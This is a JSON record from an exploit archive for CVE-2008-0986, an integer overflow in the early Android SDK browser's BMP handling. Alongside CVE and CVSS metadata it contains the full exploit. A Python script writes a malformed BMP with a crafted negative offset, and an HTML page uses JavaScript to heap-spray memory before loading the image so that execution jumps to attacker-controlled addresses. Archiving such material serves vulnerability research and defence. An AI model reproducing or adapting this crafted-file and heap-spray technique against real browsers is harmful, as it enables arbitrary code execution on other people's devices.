{"exploit":{"id":"EDB-31308","name":"Google Android Web Browser - '.BMP' File Integer Overflow","description":"Google Android Web Browser - '.BMP' File Integer Overflow","cves":["CVE-2008-0986"],"author":"Alfredo Ortega","published":"2008-03-04","platform":"android","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/31308","path":"exploits/android/dos/31308.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-31308.txt","vulnerabilities":[{"id":"CVE-2008-0986","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in the BMP::readFromStream method in the libsgl.so library in Google Android SDK m3-rc37a and earlier, and m5-rc14, allows remote attackers to execute arbitrary code via a crafted BMP file with a header containing a negative offset field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0986","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0986"},"updatedAt":"2024-08-07T08:01:40.175Z","retrievedAt":"2026-11-27T11:09:22.735Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-31308.png?v=2","url":"https://exploitbin.com/exploits/EDB-31308","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-31308/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-31308/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/28006/info\n\nAndroid Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.\n\nAttackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.\n\nThis issue affects Android SDK m5-rc14 and earlier.\n\n----------------------------------------\n\n# This script generates a Bitmap file that makes the Android browser\njump to the address at 0xffffff+0x10\n# Must be loaded inside a HTML file with a tag like this: <IMG\nsrc=badbmp.bmp>\n# Alfredo Ortega - Core Security\nimport struct\n\noffset = 0xffef0000\nwidth = 0x0bffff\nheight=8\n\nbmp =\"\\x42\\x4d\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nbmp+=struct.pack(\"<I\",offset)\nbmp+=\"\\x28\\x00\\x00\\x00\"\nbmp+=struct.pack(\"<I\",width)\nbmp+=struct.pack(\"<I\",height)\nbmp+=\"\\x03\\x00\\x08\\x00\\x00\\x00\"\nbmp+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nbmp+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x55\\x02\\xff\\x00\\x02\\x00\\x02\\x02\\xff\"\nbmp+=\"\\xff\\x11\\xff\\x33\\xff\\x55\\xff\\x66\\xff\\x77\\xff\\x88\\x41\\x41\\x41\\x41\"\nbmp+=\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\nbmp+=\"\\x41\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\"\nbmp+=\"\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\"\nopen(\"badbmp.bmp\",\"wb\").write(bmp)\n\nThe complete exploit page follows:\n\n\n<HTML>\n<HEAD>\n</HEAD>\n<BODY>\n<script type=\"text/javascript\">\n// Fill 0x200000 - 0xa00000 with Breakpoints\nvar nop = unescape(\"%u0001%uef9f\");\nwhile (nop.length <= 0x100000/2) nop += nop;\nvar i = 0;\nfor (i = 0;i<5;i++)\n  document.write(nop)\n\n// Fill 0xa00000 - 0x1100000 with address 0x00400040\nvar nop = unescape(\"%u4000%u4000\");\nwhile (nop.length <= 0x100000/2) nop += nop;\nvar i = 0;\nfor (i = 0;i<2;i++)\n  document.write(nop)\n</script>\n<IMG src=badbmp.bmp>\n</BODY>\n</HTML>","sha256":"36d15b253d411790cba104081fbf5e85564eea850a56f93fc994b45c6d07c0b7","bytes":1926,"fetchedAt":"2026-11-27T11:09:16.573Z","encoding":"utf-8 (display only; download retains original bytes)"}